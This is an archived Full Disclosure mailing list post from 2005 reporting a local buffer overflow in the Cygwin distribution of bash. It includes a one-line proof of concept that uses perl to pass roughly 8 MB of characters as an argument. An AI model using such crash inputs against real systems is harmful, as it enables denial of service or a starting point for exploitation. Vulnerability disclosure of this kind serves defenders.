Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Cygwin Bash Buffer Overflow
From: "Rodrigo Gutierrez" <rodrigo () intellicomp cl>
Date: Sat, 28 May 2005 20:43:38 -0400

Cygwin Bash Buffer Overflow


Author: Rodrigo Gutierrez <rodrigo () intellicomp cl>

Affected: Versions of bash distributed by the cygwin project

vendor url: http://www.cygwin.com

Type: Local



Background.

Cygwin is a Linux-like environment for Windows. GNU BASH is the GNU
project's UNIX shell. It replaces the standard UNIX Bourne and Korn shells.


Description

I think that cygwin people are cool, but Full Disclosure is a life style,
this is all you get guys, 8 megs.


PoC

you () cygwin:~ /usr/bin/bash `perl -e "print 'a'x8388600"`



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • Cygwin Bash Buffer Overflow Rodrigo Gutierrez (May 29)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault